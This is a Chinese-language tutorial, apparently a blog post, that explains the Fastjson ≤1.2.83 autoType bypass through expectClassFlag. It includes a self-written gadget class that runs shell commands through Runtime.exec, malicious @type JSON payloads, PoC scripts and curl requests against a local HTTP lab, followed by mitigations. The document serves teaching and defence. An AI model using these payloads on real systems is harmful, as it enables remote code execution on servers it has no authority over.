Fastjson 1.2.83 从零学懂:@type 是什么、为什么关了 autoType 还能 RCE
面向零基础新人的 Fastjson ≤1.2.83 教程。用生活类比讲清 JSON、@type、autoType,再讲 expectClassFlag 绕过、内部白名单、SafeMode 残留,并附本地 PoC 与 HTTP 靶场复现步骤。
免责声明:本文只做本地靶场学习、CTF 训练和授权安全研究。所有命令默认针对本机
127.0.0.1。请勿对未授权系统做任何测试。
这篇写给谁?
你可能:
- 听说过 “Fastjson 有洞”,但不知道它在干什么;
- 看过
@typepayload,却看不懂为什么能执行命令; - 听说官方已经默认关闭
autoType,却又听说 1.2.83 仍能绕过。
读完本文,你至少能讲清楚三句话:
- Fastjson 把 JSON 文本变成 Java 对象;
@type可以指定“变成哪一个类”;- 即使
autoTypeSupport=false,在某些字段类型下,仍可能加载攻击者指定的子类,进而触发危险代码。
本文不堆源码行号,优先讲人话 + 最小实验。
目录
- 0. 先把词搞懂
- 1. Fastjson 正常在干什么
- 2. @type:JSON 里塞“类名”
- 3. autoType:官方的门禁
- 4. 核心绕过:expectClassFlag
- 5. 为什么会变成 RCE
- 6. 两条对照实验(必做)
- 7. 另外两个设计点(了解即可)
- 8. 本地一键复现
- 9. HTTP 黑盒风格复现
- 10. 真实场景还缺什么
- 11. 怎么修、怎么防
- 12. 一张图串起来
- 13. 常见问题
- 14. 小结
0. 先把词搞懂
先别碰漏洞,先认 6 个词。
| 词 | 人话解释 |
|---|---|
| JSON | 一种文本格式,像 {"name":"小明"},方便程序之间传数据 |
| Java 对象 | 程序内存里的东西,比如一个 User,有 name、age 等字段 |
| 序列化 | 把对象变成可传输/可存储的形式(这里主要指变成 JSON 文本) |
| 反序列化 | 把文本再还原成对象(Fastjson 最危险的操作往往在这里) |
| autoType | Fastjson 的一种能力:根据 JSON 里的 @type 自动决定加载哪个 Java 类 |
| RCE | Remote Code Execution,远程代码执行,通俗说就是“让服务器跑攻击者的命令” |
一个生活类比
把服务器想成快递仓库:
- JSON 是快递单上的文字说明;
- Java 对象是仓库里真正的货;
- Fastjson 是按单子拆包、按说明生成货物的机器;
@type相当于单子上写着:“请按某某型号组装”;- 如果型号完全由寄件人随便填,仓库就可能组装出危险货物。
漏洞的本质不是 “JSON 坏了”,而是:
不可信输入 + 自动按类名创建对象 + 对象创建/赋值时会执行危险逻辑。
1. Fastjson 正常在干什么
Fastjson 是阿里早期非常流行的 Java JSON 库。业务里最常见两种用法:
1
2
3
4
5
// 对象 -> JSON 文本
String json = JSON.toJSONString(user);
// JSON 文本 -> 对象
User user = JSON.parseObject(json, User.class);
正常、安全的用法通常是:
我已经知道目标类型是
User,你就按User填字段就行。
比如:
1
{"name":"alice","age":18}
程序会得到:
1
User{name=alice, age=18}
这一步本身没问题。危险从“类型也可由攻击者指定”开始。
2. @type:JSON 里塞“类名”
Fastjson 支持一种特殊字段:@type。
1
2
3
4
{
"@type": "com.example.User",
"name": "alice"
}
意思是:
不要只当普通 Map 解析,请按
com.example.User这个类去创建对象,再把后面的字段塞进去。
这在“多态、接口字段、框架内部传对象”时很方便。
但从安全角度看,它等于:
攻击者可以尝试指定:创建哪一个类、给哪些属性赋值。
如果这个类在构造方法或 setXxx() 里会做危险事(比如执行命令、查 JNDI、读文件),反序列化就可能直接出事。
3. autoType:官方的门禁
历史上,autoType 开着时风险很大。后来官方默认:
1
autoTypeSupport = false
还加了:
- 黑名单(deny)
- 白名单(accept)
- SafeMode(更严)
很多人因此以为:
“关了 autoType 就安全了。”
对自由顶层 @type 来说,默认确实更安全。
但 1.2.83 及更早版本里,还有几条“门没关严”的路径。本文重点讲最容易理解的一条:
expectClassFlag 路径。
4. 核心绕过:expectClassFlag
4.1 先记住一句话
当程序解析某个字段时,如果这个字段的类型不是那 10 个“太通用”的基类型,Fastjson 会认为:
“调用方已经期望某个具体类型了”,于是即便autoTypeSupport=false,仍可能按@type去loadClass。
4.2 那 10 个“太通用”的类型
官方把下面这些类型当成“太宽泛”:
ObjectSerializableCloneableCloseableAutoCloseableReadableRunnableEventListenerIterableCollection
字段是这些类型时:expectClassFlag = false,自由子类 @type 更容易被拦住。
字段不是这些类型时(例如 Exception、Throwable、很多业务接口/抽象类):
1
expectClassFlag = true
后面就可能走进:
1
2
3
if (autoTypeSupport || jsonType || expectClassFlag) {
clazz = TypeUtils.loadClass(...);
}
注意:这里用的是 或。
所以:
1
2
autoTypeSupport = false
expectClassFlag = true
仍然可以加载类。
4.3 一个最容易懂的例子
脆弱 Bean:
1
2
3
4
public class UserPayload {
private String name;
private Exception detail; // 关键:字段类型是 Exception
}
恶意 JSON:
1
2
3
4
5
6
7
{
"name": "attacker",
"detail": {
"@type": "com.vuln.gadget.EvilException",
"cmd": "id"
}
}
解析代码:
1
2
3
ParserConfig cfg = new ParserConfig();
cfg.setAutoTypeSupport(false); // 明明关了
UserPayload u = JSON.parseObject(json, UserPayload.class, cfg);
发生了什么:
- Fastjson 知道要解析成
UserPayload; - 填
detail字段时,期望类型是Exception; Exception不在那 10 个基类型里 →expectClassFlag=true;- 即使 autoType 关着,仍加载
EvilException; - 再检查:
EvilException是不是Exception的子类?是 → 通过; new EvilException(),再setCmd("id");- 如果
setCmd里执行了命令,RCE 就成了。
这就是本漏洞最核心、也最适合新人理解的路径。
5. 为什么会变成 RCE
很多人卡在这里:
“加载一个类,为什么就能执行系统命令?”
答案:类加载本身不等于 RCE。
RCE 来自“创建对象 + 给属性赋值”时触发的副作用。
实验用的 gadget 可以长这样(教学用途,极度简化):
1
2
3
4
5
6
7
8
9
10
public class EvilException extends Exception {
private String cmd;
public void setCmd(String cmd) {
this.cmd = cmd;
try {
Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", cmd});
} catch (Exception ignored) {}
}
}
Fastjson 反序列化时会:
- 实例化
@type指定的类; - 对 JSON 里的字段调用对应
setXxx。
所以 payload 里的:
1
"cmd": "echo pwned > /tmp/fastjson_1283_pwned"
会变成:
1
evilException.setCmd("echo pwned > /tmp/fastjson_1283_pwned");
命令就这样被跑起来了。
真实环境里,gadget 通常不是你自己写的 EvilException,而是 classpath 里已有的危险类/利用链(历史常见 JNDI、TemplatesImpl、各种第三方库链等)。
教学环境用自写 gadget,是为了干净证明“实例化 + 属性注入”这条链路是通的。
6. 两条对照实验(必做)
理解漏洞,最好做一对“成/败”对照。
实验 A:字段类型 = Exception → 成功
1
2
// detail 类型是 Exception
{"detail":{"@type":"com.vuln.gadget.EvilException","cmd":"id"}}
预期:
- 构造方法被调用
setCmd被调用- 出现 RCE 标记文件
实验 B:字段类型 = Runnable → 失败
1
2
// task 类型是 Runnable(10 个基类型之一)
{"task":{"@type":"com.vuln.gadget.EvilRunnable","cmd":"id"}}
预期:
1
autoType is not support. com.vuln.gadget.EvilRunnable
对照结论
| 字段类型 | 是否在 10 基类型内 | autoType=false 时 |
|---|---|---|
Exception | 否 | 可能加载子类 → 可利用 |
Runnable | 是 | 通常被拦 |
所以漏洞不是“任意 JSON 都能打”,而是:
业务模型里存在“非 10 基类型”的字段 + classpath 有可用 gadget。
7. 另外两个设计点(了解即可)
学到这里,核心已经够用。下面两点知道存在即可。
7.1 内部硬编码白名单(4 个哈希)
Fastjson 里有 4 个写死的 FNV1a_64 哈希,对应类似:
java.util.Collections$UnmodifiableMapcom.alibaba.fastjson.util.AntiCollisionHashMapjava.util.concurrent.ConcurrentSkipListMapjava.util.concurrent.ConcurrentSkipListSet
命中后会走内部白名单逻辑,更容易绕过 deny 限制。
它们本身通常不是直接 RCE gadget,但说明:
黑名单不是绝对屏障,硬编码白名单会扩大攻击面。
7.2 SafeMode 下的 Class 字段残留
即使开了 SafeMode,如果 Bean 里有 Class 类型字段,MiscCodec 可能直接:
1
TypeUtils.loadClass("java.lang.Runtime", ...)
这条路径不经过完整的 checkAutoType。
注意:
- 这证明了“类加载门禁可被旁路”;
- 单独加载
Class对象 ≠ 立刻 RCE; - 要 RCE 还需要后续利用条件。
新人阶段记住:
SafeMode 不是“绝对安全开关”,也要看业务字段类型和解析路径。
8. 本地一键复现
下面假设你已经有一个本地 lab(JDK 11+,自带 fastjson-1.2.83.jar)。
8.1 环境要求
| 项目 | 建议 |
|---|---|
| 系统 | Linux |
| JDK | 11 或 17 |
| Fastjson | 1.2.83 官方 jar |
| 权限 | 仅本机实验 |
8.2 一键跑 PoC
1
2
3
4
5
# 进入你的 lab 目录
cd Fastjson-1.2.83-RCE
# 一键编译并运行四条验证路径
bash run-poc.sh
你应该能看到类似输出(关键片段):
1
2
3
4
5
6
Fastjson: 1.2.83
autoTypeSupport(global)=false
[Gadget] EvilException.<init>() called
[Gadget] EvilException.setCmd("echo pwned_by_expectClassFlag > /tmp/fastjson_1283_pwned && id") -> Runtime.exec
RCE CONFIRMED: marker file exists: /tmp/fastjson_1283_pwned
再验证标记文件:
1
2
cat /tmp/fastjson_1283_pwned
# 期望:pwned_by_expectClassFlag
8.3 你应该从日志里读到什么
- Case 1:自由顶层
@type在 autoType=false 时不会直接实例化恶意类(相对安全)。 - Case 2:
Exception字段 + 恶意子类 → RCE 成功。 - Case 2b:
Runnable字段 → 被拦截。 - Case 3:内部白名单 4 类可加载。
- Case 4:SafeMode 下
Class字段仍可加载类名。
如果只记住一个,记住 Case 2。
9. HTTP 黑盒风格复现
很多业务接口长这样:
1
2
3
4
POST /api/user
Content-Type: application/json
{"name":"...","detail":{...}}
后端如果直接:
1
JSON.parseObject(body, UserPayload.class);
就和 lab 一样危险。
9.1 启动简易靶场
1
java -cp out:lib/fastjson-1.2.83.jar com.vuln.server.VulnHttpServer 18083
9.2 健康检查
1
curl http://127.0.0.1:18083/health
期望类似:
1
{"fastjson":"1.2.83","safeMode":false,"status":"ok","autoTypeSupport":false}
注意:这里已经显示 autoTypeSupport=false。
9.3 发送恶意 JSON
1
2
3
curl -s http://127.0.0.1:18083/api/user \
-H 'Content-Type: application/json' \
-d '{"name":"attacker","detail":{"@type":"com.vuln.gadget.EvilException","cmd":"echo http_rce_ok > /tmp/fastjson_1283_http_pwned"}}'
9.4 验证
1
2
cat /tmp/fastjson_1283_http_pwned
# 期望:http_rce_ok
如果 lab 提供脚本,也可以:
1
bash exploit-http.sh http://127.0.0.1:18083
10. 真实场景还缺什么
教学 lab 为了让新人一眼看懂,用了自写 EvilException。
真实攻击要同时满足更多条件:
- 目标使用 Fastjson ≤ 1.2.83(或存在同类设计缺陷的版本/配置);
- 接口会把外部 JSON 反序列化到某个 Java 类型;
- 类型图中存在非 10 基类型字段(或可嵌套到该类型);
- classpath 上有可用 gadget(或可二次利用的类加载能力);
- 网络可达、WAF/网关未完整拦截 payload。
所以请建立正确心态:
| 说法 | 是否准确 |
|---|---|
| “1.2.83 一定能无条件 RCE” | 不准确 |
| “关了 autoType 就绝对安全” | 不准确 |
| “在特定字段类型 + gadget 条件下,autoType=false 仍可能被绕过” | 准确 |
11. 怎么修、怎么防
11.1 升级(首选)
- 尽快离开存在设计缺陷的 1.2.x 老版本;
- 评估迁移到维护中的 JSON 库方案(如 fastjson2,或其他严格类型绑定的库);
- 升级后仍要做回归测试,确认业务解析行为符合预期。
11.2 配置与代码层
- 不要解析不可信 JSON 到宽泛类型
少用Object/ 接口 / 抽象类直接承接外部输入。 - 能关就关危险能力
评估是否需要 autoType;能不用就不用。 - 开启更严格模式并验证
SafeMode 有帮助,但不能当银弹。 - 对输入做 schema 校验
只允许白名单字段和固定结构。 - 依赖治理
扫描并移除高危 gadget 依赖,缩小 classpath 攻击面。
11.3 运营层
- 组件版本资产盘点(SBOM)
- WAF/网关检测异常
@type - 运行时监控可疑进程创建、反序列化异常峰值
12. 一张图串起来
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
恶意 JSON
|
v
JSON.parseObject(json, UserPayload.class)
|
v
发现字段 detail 的类型 = Exception
|
v
Exception 不在 10 个基类型里
|
v
expectClassFlag = true
|
v
即使 autoTypeSupport=false,仍 TypeUtils.loadClass(EvilException)
|
v
EvilException 是 Exception 子类,通过校验
|
v
new EvilException()
|
v
setCmd("...") -> Runtime.exec(...)
|
v
RCE
如果把 Exception 换成 Runnable,链路会在中间断开。
13. 常见问题
Q1:我完全不会 Java,还能学吗?
能。你只要先接受三件事:
- JSON 是文本;
- 程序会把文本变成对象;
- 变成对象时可能执行类里的代码。
后面的类名、字段类型,可以边做实验边熟悉。
Q2:为什么官方要支持 @type?
为了方便表达多态和复杂对象图。安全与便利长期拉扯,历史版本在便利一侧走得太远。
Q3:看到 payload 里有 @type 就一定能打?
不一定。还要看版本、配置、目标类型、gadget、网络过滤。
Q4:SafeMode 开了是不是就结束了?
更安全,但不是结束。Class 字段等路径仍可能留下旁路,业务模型本身也可能有问题。
Q5:学习时最容易犯的错是什么?
把“教学 gadget 能 RCE”直接等同于“互联网上所有 1.2.83 服务都能一键打穿”。
正确姿势是:先证明机制,再谈真实利用条件。
14. 小结
用最少的话收束全文:
- Fastjson 负责 JSON ↔ Java 对象。
@type让攻击者有机会指定类名。autoTypeSupport=false能挡住很多自由@type,但不是一切。expectClassFlag是理解 1.2.83 绕过的关键钥匙:字段类型不够“基类”,门就会松。- RCE 来自危险类在创建/setter 时的副作用,不来自 JSON 文本本身。
- 学习路径建议:先跑对照实验(Exception 成功 / Runnable 失败),再回头看原理。
如果你刚入门 Java 安全,建议学习顺序:
1
2
3
4
5
6
JSON 基础
-> Java 对象与 setter
-> Fastjson 正常用法
-> @type / autoType
-> expectClassFlag 对照实验
-> 再学真实 gadget 与历史利用链
最后再次提醒:
只在你自己的机器、授权靶场、课程实验环境中练习。
未经授权测试他人系统,是违法的。
附:最小记忆卡片
1
2
3
4
5
6
关了 autoType ≠ 绝对安全
字段类型决定 expectClassFlag
Exception 类字段可能放行子类
Runnable 等 10 基类型更难绕
加载类 + 危险 setter = 可能 RCE
升级 + 收窄类型 + 清理 gadget = 正道